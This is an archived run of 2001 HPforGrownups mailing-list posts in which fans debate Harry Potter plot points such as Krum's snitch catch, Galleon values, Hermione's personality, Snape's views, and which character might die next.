> about how soon Hermione will decide that they aren't going to get 
> very far together.
> 
> David

Not necessarily.  It was entirely possible that Ireland's chasers ARE 
too good, and there was no way that Krum's team could win once 
Ireland was more than 150 points ahead.  How bright would he have 
seemed if they lost by 400 points instead of 20? (I think it was by 
20 anyway.)

Also, this was a required bit for the plot.  
I felt that Krum had to win at what he did, for cosmetic reasons. He 
had to be the best, thus he had to get the snitch.
Gred and Forge had to win their bet.
Their had to be a big loser in the game, in terms of bets, so that 
what's-his-name would be a distraction when he hid from the goblins 
and tried to help Harry.  If he hadn't lost big, he wouldn't have had 
reason to try to cheat to recover his losses.  The easiest way to 
lose big was by Ireland winning and Krum getting the snitch.

Remember the final big bet that Harry would win the cup.  He lost 
because the goblins claimed it was a technical tie.  Chances are that 
he lost a lot of the bets in the quidditch game the same way. (He may 
have bet against Ireland with a lot of people, and bet against Krum 
getting the snitch with others.)

The whole thing was a support for the plot.




From borg3892000 at yahoo.com  Mon Sep 24 15:41:58 2001
From: borg3892000 at yahoo.com (borg3892000 at yahoo.com)
Date: Mon, 24 Sep 2001 15:41:58 -0000
Subject: On the Subject of Money
In-Reply-To: <9ome7q+5v6o@eGroups.com>
Message-ID: <9onk86+kmtr@eGroups.com>

No: HPFGUIDX 26608

--- In HPforGrownups at y..., "Catlady (Rita Prince Winston)" 
<catlady at w...> wrote:
> --- In HPforGrownups at y..., Rowena Grunnion-Ffitch 
> <rowena_grunnion_ffitch at y...> wrote:
> >    Does anybody have any idea how Galleons compare to
> > pounds/dollars?
> 
> JKR said that a Galleon is worth five pounds (around seven 
> dollars), which correlates with the values stated in Dumbledore's 
> prefaces to the textbooks as to how much money Comic Relief has 
> raised for charity, but doesn't correlate with most of the other 
> references to money in canon. The other references all make 
> more sense if a Galleon is in the $25 to $40 range.


I don't think Jo really designed any consistency with money in the 
books.  They were just color.  "17 sickles an ounce for dragon 
liver?!" when a galleon is 17 sickles.  13 sickles for a ride on the 
knight bus, 15 gets you hot chocolate too.

Of course, I could be wrong.  It could be simply that the wizard 
economy fluctuates wildly against the english pound. (I keep wanting 
to write point instead of pound for some reason.  What's that say 
about me?  Nevermind. I don't want to know.)

Some weeks, the galleon is worth 40 pounds, and other times, it's 
worth 5.  Hmm.  Maybe this is how some wizards make money.  They 
speculate on the differences.




From aiz24 at hotmail.com  Mon Sep 24 15:42:33 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Mon, 24 Sep 2001 15:42:33 -0000
Subject: Pre-Hogwarts - SCHABB - RL's fate - QWC/Krum
Message-ID: <9onk99+mcfd@eGroups.com>

No: HPFGUIDX 26609

Catherine wrote:

> "Sticking up for Longbottom?" said Pansy Parkinson, a hard-faced
> Slytherin girl.  "Never thought you'd like fat little crybabies,
> Parvati."

> It's the "never" which does indicate that they knew oneanother prior
> to Hogwarts.  Whether this is indicative of wizarding primary school
> I don't know - it does seem, however, more likely than unlikely that
> some of the children should know oneanother before Hogwarts, because
> surely their parents socialise?

Aha, good example, thanks; it does sound as if they have known each 
other more than a few weeks.  I'm not a disbeliever in the 
wizarding-primary-schools theory, but a few mentions like this can 
easily be explained by the smallness of the wizarding world.  A lot of 
the kids could know each other before Hogwarts without having gone to 
school together.

I'm betting this is a piece of background info that we will learn only 
when JKR releases the dreamed-of Annotated HP Notebooks.

Penny wrote:

> She may be a know-it-all.  She may be a show-off even.  But, that is 
*not* the
> same thing as being a braggart.  According to my dictionary, a 
braggart
> is someone given to loud, *empty* boasting.  First off, Hermione is
> legitimately accomplished & brainy, so even if she was boasting, it
> wouldn't be "empty" (without merit).  Second, we don't hear her 
loudly
> proclaiming her good marks & such, particularly not in comparison to 
or
> at the expense of others.

I grant you her boasting is not empty--call her a boaster, then, not a 
braggart.  But we *do* hear her loudly proclaiming her good marks from 
time to time, sorry as I am to say so.

"'You'll lose all the points I got from Professor McGonagall for 
knowing about Switching Spells.'"  (PS/SS 9)

and then there's the very irritating (though hilarious)

"Trying to answer a question with Hermione next to him, bobbing up and 
down on the balls of her feet with her hand in the air, was very 
off-putting, but Harry had a go."  PA 7

Raising one's hand whenever one knows the answer is good--bouncing up 
and down while someone else has already been called on and is trying 
to answer is obnoxious.  Again, I love Hermione, and I am so much like 
her it's scary, but this is definitely beyond being a smart, 
self-confident kid.

Cindy wrote:

> Lupin's problem isn't
> that people criticize him or dislike him.  It is that people assume
> he is expendable.

I was going to respond, but Luke said everything that was on my mind 
perfectly.

The death that will "half-crucify" JKR in OoP is NOT Lupin, unless we 
allow for the wereghost possibility, because she has said that he will 
play a role in book 7:

"Mircea reports: 'I wrote a letter to J.K asking here some questions 
about future books she only answered 1 question which was will Lupin 
make a return. She said yes! J.K said she's pretty much sure she will 
put him in the  5th book but she definetly said he's gonna play a big 
role in the 7th book.'" 
http://www.angelfire.com/stars2/harrypotterland/news.html (thanks, 
Heidi, for the link!)

Cindy wrote:

> Can't we allow for the
> possibility that some characters can never be killed off?  Like, to
> use your Star Trek example, the main trio in Star Trek?

Ah, not to give anything away, but have you seen the ST movies?

I often wish that more shows *would* kill beloved characters so that 
we would live in a bit more fear and doubt during the cliffhangers, 
and also so that we would feel more of the reality of evil.  ST:The 
Next Generation tried to do this with Tasha Yar, but I could never 
stand her so her dying had zero impact on me.  Scratch that--it had an 
impact:  I was relieved I wasn't going to have to see that awful 
Denise Crosby again.  (In this I was disappointed--thanks to the magic 
of time travel, she did appear in a couple more episodes.)

Cindy also wrote:

> Was anyone else troubled by this ending to the World Cup Match?

Yes, and I also wondered if it said anything about Viktor's character 
that would play out later.  It served a plot purpose--the winning of a 
very long-shot bet by F&G--but JKR could have constructed any number 
of long shots rather than this one if that's all she needed.

Amy Z
who will don black if Remus dies (Don Black--Sirius's little brother?)

---------------------------------------------------
 All peoples are members of the same body, created
 from one essence.  If fate brings suffering to
 one member, the others cannot stay at rest.
                 -Saadi, 13th-century Persian poet
---------------------------------------------------





From mirzamblack at yahoo.com  Mon Sep 24 15:57:17 2001
From: mirzamblack at yahoo.com (Mirzam Black)
Date: Mon, 24 Sep 2001 15:57:17 -0000
Subject: Why Does Krum Catch The Snitch?
In-Reply-To: <9onjal+et98@eGroups.com>
Message-ID: <9onl4t+io7t@eGroups.com>

No: HPFGUIDX 26610

borg3892000 at y... wrote:
> Also, this was a required bit for the plot.  
> Gred and Forge had to win their bet.

If it wouldn't be so strange and funny idea, I would suggest this 
alternative:

This whole bet is very exceptional and almoust impossible to win, 
because of the game strategy. It almost sounds like a plan to me. If 
it wouldn't be so clear, I would suggest that Fred, George and Viktor 
had an arrangement. But the twins didn't knew Krum, did they?

OK, let's forget it.

//Mirzam






From rowena_grunnion_ffitch at yahoo.com  Mon Sep 24 15:59:07 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Mon, 24 Sep 2001 08:59:07 -0700 (PDT)
Subject: [HPforGrownups] Re: In Defense of Hermione
In-Reply-To: <9omttd+mlok@eGroups.com>
Message-ID: <20010924155907.7026.qmail@web20802.mail.yahoo.com>

No: HPFGUIDX 26611



--- cassandraclaire at mail.com wrote:
> --- In HPforGrownups at y..., Rowena Grunnion-Ffitch <>
> >    I believe Hermione is guilty of projecting
> human
> > needs and aspirations on non-humans. Maybe
> House-elves
> > are brainwashed, or maybe they really do have very
> > different emotional needs. I suggest Hermione find
> out
> > which it is before she starts her crusade.
> 
> 
> *blinks.* Perhaps she is that, but she is young, and
> idealistic. 
> Whether or not she approaches her crusade from the
> correct angle, her 
> impulses are born out of empathy and a good heart.

   I grew up in 1960s California. In my childhood I
saw enough misguided 'idealism' to turn anybody into a
confirmed cynic.

> R: I agree she's a bit insecure, what eleven year
> old
> > wouldn't be going off to a totally unknown
> enviroment
> > for the first time? But being a know-it-all is not
> the
> > way to gain friends and one would think she'd know
> > that.
> 
> I don't see why the poor kid would know that --
> she's only eleven, 
> and hasn't mastered social skills. Many of us were
> like that once. 

    It's been a while since I was eleven. I clearly
recall realizing at some stage of my remote youth
being a show-off know-it-all is *not* the way to win
friends but it may have been at a more advanced age. 
   
> Ebony: "The wrong best friend mooning over her
> (Hermione)"
> R: "'Wrong best friend'? who says Hermione wants
> Harry"
> 
> Ah, somebody who doesn't know that Ebony is the
> co-captain of the SS 
> H/H along with Penny? *ducks* Right-O, no ship
> discussions.

   No I didn't know that! Personally I can't really
see Hermione and Harry as a couple, Ron maybe but not
Harry.
 
> R"or Ron either for that matter"
> 
> Now there I'm in agreement.

    Boys one has been best friends with for years
often have much less sex-appeal than a relative
stranger. 
   Hermione is definitely too young to pick out a
permanent partner but she's old enough to start
looking around and learning what she wants in a man.
   Krum is attractive enough and sincere enough to
warrant serious consideration.
   Harry has courage, honor and a nice nature but is
still fairly immature in the girl area, (maybe next
year).  He is definitely not jealous. If Hermione
wants Krum that's fine with him.
   Ron certainly *is* jealous but whether from
burgeoning romantic interest or simply a sort of
brotherly possessiveness is uncertain. 
  Whether or not Hermione is attracted to either of
her friends she definitely wants them to recognize she
is a girl and not go on treating her like one of the guys.

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From meboriqua at aol.com  Mon Sep 24 16:17:57 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Mon, 24 Sep 2001 16:17:57 -0000
Subject: Passwords + Snape a Pure-bloodist
In-Reply-To: <20010924114334.54044.qmail@web14205.mail.yahoo.com>
Message-ID: <9onmbl+f073@eGroups.com>

No: HPFGUIDX 26612

--- In HPforGrownups at y..., Kelly Hurt <klhurt at y...> wrote:

> I stand firm:  the Slytherin password proves (to me, at least) that
> Snape is a pure-bloodist at heart.>

Hmmm - I see Snape more as carefully keeping up appearances.  Other 
than the fact that we know he *used* to be a DE, there is no evidence 
that he still harbors the same feelings as other DEs (like Lucius 
Malfoy) on the pure-blood issue.  I think he needs for the Slytherins 
to *think* he feels the same way as they do; even if he does not.  
There is also no evidence that Snape even made up that password 
(someone else mentioned that the paintings did it themselves.  We 
don't even know if he ever even visits the Slytherin common room; he 
may not even know the password at all.

I would call Snape an equal opportunity bigot - he seems to hate just 
about everyone equally, whether pure-blooded or not. Sometimes I even 
wonder if he really dislikes Draco too, and his favortism of Draco is 
also just as act.  Snape just mystifies me, but I definitely cannot 
say that he is a "pure-bloodist at heart"; we just don't have enough 
to go on to come to that conclusion.

--jenny from ravenclaw ********************************************  
 





From rowena_grunnion_ffitch at yahoo.com  Mon Sep 24 16:22:31 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Mon, 24 Sep 2001 09:22:31 -0700 (PDT)
Subject: Who Dies?
In-Reply-To: <20010924155907.7026.qmail@web20802.mail.yahoo.com>
Message-ID: <20010924162231.38523.qmail@web20808.mail.yahoo.com>

No: HPFGUIDX 26613

   A 'beloved character' is supposed to die and return
as a ghost in OoP, is that right?
   If it is I bet on Snape as the victim. He is
definitely beloved, (if not by Harry et al) and as a
spy in Voldemort's camp he will be most at risk. And
since ghosts are not happy people...
   Another possibility is Dumbledore. In the
traditional hero story the mentor figure always dies,
disappears or is otherwise unavailable to the hero who
must then face the final crisis alone, (Merlin,
Gandalf, Obi-Wan Kenobi, Kosh) however book five seems
a little soon for this.
   Most likely it's somebody nobody's even thought of....

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From cynthiaanncoe at home.com  Mon Sep 24 16:42:16 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Mon, 24 Sep 2001 16:42:16 -0000
Subject: Why Does Krum Catch The Snitch?
In-Reply-To: <9onjal+et98@eGroups.com>
Message-ID: <9onnp8+5df8@eGroups.com>

No: HPFGUIDX 26614

--- In HPforGrownups at y..., borg3892000 at y... wrote:

> 
> Also, this was a required bit for the plot.  
> I felt that Krum had to win at what he did, for cosmetic reasons. 
He 
> had to be the best, thus he had to get the snitch.
> Gred and Forge had to win their bet.
> Their had to be a big loser in the game, in terms of bets, so that 
> what's-his-name would be a distraction when he hid from the goblins 
> and tried to help Harry.  If he hadn't lost big, he wouldn't have 
had 
> reason to try to cheat to recover his losses.  The easiest way to 
> lose big was by Ireland winning and Krum getting the snitch.
> 

If the Krum-catches-the-snitch idea exists only to support the 
gambling sub-plot, then the tail is really wagging the dog, IMHO.  If 
JKR just needs Krum to catch the snitch and F and G to make a long-
odds bet that Bagman can't pay, then this could be accomplished other 
ways.  

For instance, have Ireland be the unbeaten, defending champions and 
overwhelming favorites.  F and G can bet on Bulgaria in the face of 
overwhelming odds, perhaps predicting a 20 point victory.  Ireland 
could pull out to an early lead, but Bulgaria could close the gap, 
and then Krum could catch the snitch as Bulgaria had just accumulated 
enough points to win.  Heck, Krum could catch the snitch at the same 
moment that Bulgaria scores to pull within 130 points, causing heated 
argument, protests by coaches, and the wizard equivalent of instant 
replay.  F&G win their long-odds bet that Bagman can't pay, Krum 
catches the snitch, and the whole thing is more credible and 
believable.  

As it was, I was kind of surprised that Krum wasn't accused 
of "throwing" the match.  This is the World Cup.  For Bulgaria even 
to get there, their team and chasers must have *some* talent.  It is 
hard to believe that, just a relatively short time into the world 
championship match, Krum would just throw in the towel like this 
based on his own determination that his teammates weren't up to 
scratch.  Had the score been 500 to 20, well then, maybe.  Can you 
imagine the hubub if, during the Olympics, some gymnast just decided 
her team would never win, so she just hopped off the balance beam?  

Anyway, this sequence is one of the few in the series that didn't 
ring true for me, and I am clinging to hope that it was written this 
way for some yet-to-be-disclosed reason.

Cindy (who thinks Krum took a dive, and it wasn't the Wronski Feint, 
either)




From smmy at lineone.net  Mon Sep 24 17:21:28 2001
From: smmy at lineone.net (smmy at lineone.net)
Date: Mon, 24 Sep 2001 17:21:28 -0000
Subject: Sirius' escape
In-Reply-To: <20010923214532.46108.qmail@web11801.mail.yahoo.com>
Message-ID: <9onq2o+8pd3@eGroups.com>

No: HPFGUIDX 26615

--- In HPforGrownups at y..., Bethany <empress_dai_gin_kali at y...> wrote:
> 
> --- smmy at l... wrote:
> > Forgive me if this has already been covered.
> > In POA, Chapter 21, Harry and Hermione are told that
> > Sirius is locked 
> > in Professor Flitwick's office. After rescueing him
> > through the 
> > window of the office they then turn round and leave
> > by the door 
> > (chapter 22). Have I misread something? In what
> > sense is 
> > Sirius 'locked' in the office?
> > 
> ::looks around and decides to try delurking::
> Hello. I think you just misread something. Hermione
> unlocks the window and Sirius squeezes through it onto
> the back of Buckbeak (the second time that being
> skeletally thin has helped him escape). They they fly
> to the top of the West Tower where Harry and Hermione
> get off and tell Sirius goodbye. They then leave by
> way of the tower door rather than that of Flitwick's
> office. I hope that helped you. :)
> ~Bethany, who has decided that it's much safer to lurk...
> 
> _Thankyou Bethany.
 I've just re-read it , which is what I should have done in the first 
place. It all makes sense now.
Emily_________________________________________________
> Do You Yahoo!?
> Get email alerts & NEW webcam video instant messaging with Yahoo! 
Messenger. http://im.yahoo.com




From eyre68 at yahoo.com  Mon Sep 24 17:31:51 2001
From: eyre68 at yahoo.com (JayKay)
Date: Mon, 24 Sep 2001 10:31:51 -0700 (PDT)
Subject: Snape's misanthropy--Who Dies?--the Art of HP Happiness
In-Reply-To: <20010924162231.38523.qmail@web20808.mail.yahoo.com>
Message-ID: <20010924173151.1771.qmail@web10102.mail.yahoo.com>

No: HPFGUIDX 26616

Hello, I've been lurking for a while now, and I
thought I'd toss in my 2 knuts on a couple of things.

--- meboriqua at aol.com wrote:


> I would call Snape an equal opportunity bigot - he
> seems to hate just 
> about everyone equally, whether pure-blooded or not.

I'd call him a misanthrope rather than a bigot. I
think his hatred stems from something other than
prejudice; it seems--to me, anyway--the kind of
dislike that blooms out of bitterness and anger,
either because of past experiences or because of
self-loathing.


*~*~*

--- Rowena Grunnion-Ffitch wrote:

>    A 'beloved character' is supposed to die and
> return
> as a ghost in OoP, is that right?
>    If it is I bet on Snape as the victim. He is
> definitely beloved, (if not by Harry et al) and as a
> spy in Voldemort's camp he will be most at risk. And
> since ghosts are not happy people...
>    Another possibility is Dumbledore. In the
> traditional hero story the mentor figure always
> dies,
> disappears or is otherwise unavailable to the hero
> who
> must then face the final crisis alone, (Merlin,
> Gandalf, Obi-Wan Kenobi, Kosh) however book five
> seems
> a little soon for this.
>    Most likely it's somebody nobody's even thought
> of....

My predictions are that Dumbledore *will* die before
the end of the series, Prof. McGonagall will become
Headmistress, and Harry will end up the DADA
instructor. However, I don't think Dumbledore will die
in book 5. It's too soon, and he's too integral.
Traumatic Mentor Deaths usually happen towards the
end, and we're still too close to the middle of
events.

If the clues are that the death will involve someone
whom it will be very difficult for JKR to kill and who
is a big supporter of Harry, it could be a number of
other people (although I'm *muchly* relieved that
Lupin is out of the running based on the source cited
earlier today that he'll play a role in #7): 

Hagrid
Prof. McGonagall
Any of the Weasleys, including Arthur and Molly
Colin Creevy 
Sirius Black

Personally, I'll find it more gut-wrenching than I can
possibly express if it turns out to be Hagrid. I love
that gentle half-giant...

*~*~*

On the subject of character happiness: 

I'm approaching this from what may be a slightly
different perspective than most here, because I'm a
Buddhist. 

>From this perspective, Dumbledore would make an
excellent Buddhist. In fact, he seems to be a highly
enlightened being already. He is a calm, centered
individual who is working towards peace for all. His
focus is on the greater good. 

However, despite he has seen and fought against great
evil, he has not let it make him bitter or angry (in
this, he's a direct contrast to Snape). He changes
what he has the power to change, and seems to accept
the rest as being out of his control. He hasn't lost
his ability to find pleasure in simple things like
warm socks and lemon drops. He takes his happiness
where he can find it, and his mindset is what allows
him to find it most anywhere he looks. He also seems
very alert and mindful, and very compassionate. If
asked, I'd be willing to bet that Dumbledore wouldn't
say he hates Voldemort, but that he feels sorry for
him. He doesn't seem to let anger take root or fester
within him, and that is an excellent way to remain
happy.  

Lupin is another character I would say reflects
Buddhist ideas. Despite bearing an affliction that,
for now, knows no cure, he doesn't give in to anger or
despair. He has learned to accept his situation as it
is and has made peace with it. I don't think he's
reached Dumbledore's level of being able to find
happiness everywhere, but he seems content, which is
remarkable progress considering the burden he bears
and will likely continue to bear for the rest of his
life. He suffers greatly, but he hasn't allowed it to
take away his inner peace or compassion. I think
that's why he was able to be polite and even kind in
the face of Snape's snarkiness, and to believe in
Sirius's innocence so quickly. He's learned the
concept of forgiveness and compassion, and he lives it
even with people who treat him poorly or whom he
thought betrayed him. 

Harry seems reasonably happy in that he knows how to
immerse himself in the moment. He lives with the
threat of Voldemort hanging over him every waking
moment, but he doesn't allow that to paralyse him. He
can still take pleasure in Quidditch. He's able to
focus on the here and now rather than let himself get
caught up in worry about the future. 

Snape, on the other hand, is not happy, and I doubt he
ever will be unless he decides to make changes within
himself in order to facilitate his own happiness. I
think characters like Dumbledore, Lupin and Harry know
in varying degrees that we make our own happiness; if
we look outside ourselves for happines--in work,
money, other people, etc--we're doomed to
disappointment. Snape will continue to be miserable
until he decides he's tired of it and releases the
anger and bitterness he's been nursing for so long. 


JayKay, sending her first post


=====
"People think it's fun to write fanfic because you get all those readers.  But they forget the negative side, which is the psychosis." ~~Deep Fanfic Thoughts 
http://www.certando.net/vali/deepthoughts.htm

__________________________________________________
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From HPforGrownups at yahoogroups.com  Mon Sep 24 17:36:06 2001
From: HPforGrownups at yahoogroups.com (HPforGrownups at yahoogroups.com)
Date: 24 Sep 2001 17:36:06 -0000
Subject: New poll for HPforGrownups 
Message-ID: <1001352966.397.93855.f3@yahoogroups.com>

No: HPFGUIDX 26617


Enter your vote today!  A new poll has been created for the 
HPforGrownups group:

If you could use your incredible 
charisma and powers of persuasion (or 
just a handy Imperious Curse) to 
convince J.K. Rowling to write 
another saga based on the Harry Potter 
universe after she finishes the 
current one, which of the following 
would you have her write? 

  o Continuing adventures of Harry and company post-Hogwarts 
  o MWPP (Moony, Wormtail, Padfoot and Prongs) adventures from their school days 
  o The Old Crowd's efforts during Voldemort's first reign of terror 
  o Dumbledore's (and any possible helpers) fight against the dark wizard Grindelwald 
  o A collection of short stories (or series of novels) about many of the secondary characters' pasts (or just one particular character, for obsessive devotees) 
  o Same as above, only detailing their futures 
  o Scenes from the already-published books from other characters' perspectives 
  o Stories about the four founders of Hogwarts School 
  o Totally brand-new characters, just keeping the same universe 
  o Other 


To vote, please visit the following web page:

http://groups.yahoo.com/group/HPforGrownups/polls 

Note: Please do not reply to this message. Poll votes are 
not collected via email. To vote, you must go to the Yahoo! Groups 
web site listed above.

Thanks!

 







From caliburncy at yahoo.com  Mon Sep 24 17:46:49 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Mon, 24 Sep 2001 17:46:49 -0000
Subject: ADMIN: The New Poll
Message-ID: <9onri9+gqtb@eGroups.com>

No: HPFGUIDX 26618

As you can see, I just created a new poll.  It's a light-hearted, 
frivolous one, but hopefully interesting.

Anyway, I should explain quickly that the poll is NOT blind, because 
in this case it is a matter of sharing your opinion, which to me is 
more than just exercising your right to vote, and cannot really be 
done anonymously.  You should be able to stand behind your choices.  
In this case, the results are so undeniably innocuous that I doubt 
this will be a problem, but if it is, you of course don't have to 
vote.

If you want to explain your choice or discuss this further, that's 
great, but at that point it should probably go to OT-Chatter so things 
don't get overwhelming on the main list.

Enjoy,
Luke




From rowena_grunnion_ffitch at yahoo.com  Mon Sep 24 18:04:36 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Mon, 24 Sep 2001 11:04:36 -0700 (PDT)
Subject: Cats, Owls and Toads
In-Reply-To: <20010924173151.1771.qmail@web10102.mail.yahoo.com>
Message-ID: <20010924180436.49979.qmail@web20806.mail.yahoo.com>

No: HPFGUIDX 26619

   Are the animals students are allowed to bring to
school just pets or are they familiars or potential
familiars? (maybe that's an upper level course). When
Ron takes Scabbers to be checked over by the witch in
the magical pet shop she asks if he has any powers -
which suggests to me *some* pets are familiars.

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From margdean at erols.com  Mon Sep 24 17:30:45 2001
From: margdean at erols.com (Margaret Dean)
Date: Mon, 24 Sep 2001 13:30:45 -0400
Subject: New Poll on what we'd have JKR do next
References: <1001352966.397.93855.f3@yahoogroups.com>
Message-ID: <3BAF6DC5.409369FC@erols.com>

No: HPFGUIDX 26620

Luke, you left out =my= choice, which would be . . . all of the
above!  :)


--Margaret Dean
  <margdean at erols.com>



From shall at sfiweb.demon.co.uk  Mon Sep 24 18:12:44 2001
From: shall at sfiweb.demon.co.uk (Susan Hall)
Date: Mon, 24 Sep 2001 19:12:44 +0100
Subject: [HPforGrownups] Is Dedalus Diggle important? (Re: Dedalus Diggle)
In-Reply-To: <20010923191116.80115.qmail@web14202.mail.yahoo.com>
Message-ID: <NCBBLOIDFHFLKCOIHJBKCENPDNAA.shall@sfiweb.demon.co.uk>

No: HPFGUIDX 26621

I've always been concerned about the name "Dedalus Diggle".  What we know
about him from canon is that "he never had much sense" (McGonagall) that he
wore a violet top hat and bowed to Harry once in a shop, and that he is in
the Leaky Cauldron when hHarry arrives (along with a woman called Doris
Crockford - am I right in thinking that this is the name of a real life
spiritualist who wrote a book called Innocent Voices In My Ear and was
famous in the early 1980s?).

However, Diggle is a name forever associated in my mind with the well
publicised early 1990's trial for attempted rape of a Manchester solicitor,
one Angus Diggle, who escorted a girl to the Caledonian Ball at (I think)
the Savoy; they both crashed out  in the living room of a friend's flat to
await her return to Edinburgh and his to Manchester, and she awoke in the
night to find him on top of her wearing the frilly cuffs from his Highland
costume and a green condom.  fortunately, her friend who were sleeping next
door rescued her and called the police (he memorably remarked to the WPC in
the Black Maria "I don't understand.  I paid for her ticket to the ball.  I
was entitled".

Some years later, after he had served his sentence (and been struck off) he
was arrested again, for intervening as a police officer warned a prostitute
in the red light area of (I think) Leeds to move on.  He memorably said to
the police officer "Don't you know who I am, officer?"

I always wondered whether the name, the lurid clothing choices, the
Edinburgh connection and the complete absence of sense were some form of
association of ideas.

Susan





From caliburncy at yahoo.com  Mon Sep 24 18:15:11 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Mon, 24 Sep 2001 18:15:11 -0000
Subject: New Poll on what we'd have JKR do next
In-Reply-To: <3BAF6DC5.409369FC@erols.com>
Message-ID: <9ont7f+h0hg@eGroups.com>

No: HPFGUIDX 26622

--- In HPforGrownups at y..., Margaret Dean <margdean at e...> wrote:
> Luke, you left out =my= choice, which would be . . . all of the
> above!  :)

Yes, I know, I know, quite heartless of me. :-)  But it had to be 
done (<sigh>, the tough decisions).  Honestly, who *wouldn't* want to 
see all of them?  So even though it's VERY difficult to chose (I, 
myself, was quite torn between a couple options in particular), it's 
worth it to try just to see what you'd choose if you really couldn't 
have everything.  Which we can't, really.  If for no other reason than 
the severe case of writer's cramp it would give Jo!

-Luke




From idouright2 at aol.com  Mon Sep 24 18:40:25 2001
From: idouright2 at aol.com (idouright2 at aol.com)
Date: Mon, 24 Sep 2001 14:40:25 EDT
Subject: Harry Potter Movie Soundtrack
Message-ID: <14e.17f05c1.28e0d81a@aol.com>

No: HPFGUIDX 26623

Hey guys I'm new here and this is my first post I hope I don't annoy anyone :-D Well I was just wondering if anyone has heard a tracklisting or anything for the Harry Potter Soundtrack it looks like some of the composers on there are really good and it's out later this month but I just wanted to know if anyone of you had heard anything definite? Thanks alot!
Andre



From macloudt at yahoo.co.uk  Mon Sep 24 18:43:52 2001
From: macloudt at yahoo.co.uk (macloudt at yahoo.co.uk)
Date: Mon, 24 Sep 2001 18:43:52 -0000
Subject: In Defense of Hermione
In-Reply-To: <20010924155907.7026.qmail@web20802.mail.yahoo.com>
Message-ID: <9onut8+gmpv@eGroups.com>

No: HPFGUIDX 26624

>    Ron certainly *is* jealous but whether from
> burgeoning romantic interest or simply a sort of
> brotherly possessiveness is uncertain. 

Ah, good point!  Man, this group reminds me of my uni tutorials, 
where the rest of the class would sprout brilliant observations and 
Mary Ann sat in a corner, drooling out of the corner of her mouth and 
muttering "duh"!

Anyway, the "brotherly possessiveness" *did* get me thinking about 
how Ron treats Ginny.  IIRC, of the 3 brothers at Hogwarts Ron is by 
far the gentlest with her, what with F&G's constant teasing (though I 
have no doubt that they love her dearly as well).  Yes, Ron has 
realized that Hermione is a member of the opposite sex, but also I 
think he feels a brotherly responsibility towards her.  Having 3 
older brothers myself, I can confirm this can be a *wee* bit 
overbearing at times.  It's a loss of control thing.

Also perhaps Ron is angered by the apparent breaking-up of their 
little trio, as, while they do socialize with other schoolmates, the 
core group is them three.  Ron strikes me as the kind of person who 
doesn't welcome any change that severely compromises his security.

Yes, Ron can be a little fart at times, but I have a soft spot for 
him :)

Mary Ann
(whose brothers still glare at her husband after 6 years of marriage)




From macloudt at yahoo.co.uk  Mon Sep 24 18:51:22 2001
From: macloudt at yahoo.co.uk (macloudt at yahoo.co.uk)
Date: Mon, 24 Sep 2001 18:51:22 -0000
Subject: Death Eater genders
Message-ID: <9onvba+akp2@eGroups.com>

No: HPFGUIDX 26625

Apologies if this topic has been covered before by old-timers :)

Just a quick question:  are all Death Eaters male, or have I missed 
references to female DEs?  The only ones I can think of are male.

Anxiously awaiting your replies!

Mary Ann
(who's showing her feminist side in a rather twisted way...)




From mariannayus at yahoo.com  Mon Sep 24 19:34:40 2001
From: mariannayus at yahoo.com (Marianna Lvovsky)
Date: Mon, 24 Sep 2001 12:34:40 -0700 (PDT)
Subject: Why Does Krum Catch The Snitch?
In-Reply-To: <9onnp8+5df8@eGroups.com>
Message-ID: <20010924193440.97025.qmail@web14408.mail.yahoo.com>

No: HPFGUIDX 26626


--- cynthiaanncoe at home.com wrote:
> 
> As it was, I was kind of surprised that Krum wasn't
> accused 
> of "throwing" the match.  This is the World Cup. 
> For Bulgaria even 
> to get there, their team and chasers must have
> *some* talent.  It is 
> hard to believe that, just a relatively short time
> into the world 
> championship match, Krum would just throw in the
> towel like this 
> based on his own determination that his teammates
> weren't up to 
> scratch.  Had the score been 500 to 20, well then,
> maybe.  Can you 
> imagine the hubub if, during the Olympics, some
> gymnast just decided 
> her team would never win, so she just hopped off the
> balance beam?  
> 

I never had  a problem with the scenario. Ireland
seems to have the more balanced team. Bulgaria,
person/per person is not as good as Ireland, but then
they have Krum (one of those cases where the team gets
ahead because one of its members is head and shoulders
beyond everybody on his own and opposing teams).

Bulgaria's team is good. That, plus Krum allowed them
to get as far as they did. However, this is not good
enough against Ireland. I don't know if I am
explaining myself well, it's so clear in my head but
comes out murky :). Krum, as an experienced player
knows this. The longer the match goes on, the more
will the score distance increase. Plus, while Krum
might be a Seeker genius, Lynch isn't that bad either,
to be the seeker for Ireland. So there is pretty much
no chance of Bulgaria winning, but a chance that if
Krum does not catch the snitch, Ireland will win with
greater score and/or Lynch will get the snitch.

I must confess to liking Krum. He seems singularly
unspoiled by his fame, and is smart and secure enough
to be interested in Hermione and to see her as more
than a bossy know-it-all with big teeth. I like the
fact that he isn't the Quidditch Lockhart: all
shining-toothed perfection, but in fact rather awkward
off his broom. And I started liking his precisely when
he ended the match "on his own terms."

Marsha/Marianna 

__________________________________________________
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Get email alerts & NEW webcam video instant messaging with Yahoo! Messenger. http://im.yahoo.com



From devika261 at aol.com  Mon Sep 24 19:37:41 2001
From: devika261 at aol.com (devika261 at aol.com)
Date: Mon, 24 Sep 2001 15:37:41 EDT
Subject: [HPforGrownups] Death Eater genders
Message-ID: <145.2149535.28e0e585@aol.com>

No: HPFGUIDX 26627

In a message dated Mon, 24 Sep 2001  2:56:10 PM Eastern Daylight Time, macloudt at yahoo.co.uk writes:

> Apologies if this topic has been covered before by old-timers :)
> 
> Just a quick question:  are all Death Eaters male, or have I missed 
> references to female DEs?  The only ones I can think of are male.
> 
> Anxiously awaiting your replies!
> 
> Mary Ann
> (who's showing her feminist side in a rather twisted way...)
> 

In GoF, Sirius names the Lestranges as a married couple of Death Eaters who are in Azkaban.  So there's at least one woman:  Mrs. Lestrange.  Also, in the pensieve scene, during Barty Crouch Jr's trial, there is a woman who is also present and proclaiming her faithfulness to Voldemort.  This could be Mrs. Lestrange (IIRC, there was also another man on trial who could have been her husband), but we don't know for sure.  That means that there's at least one female DE that we know of, maybe two.
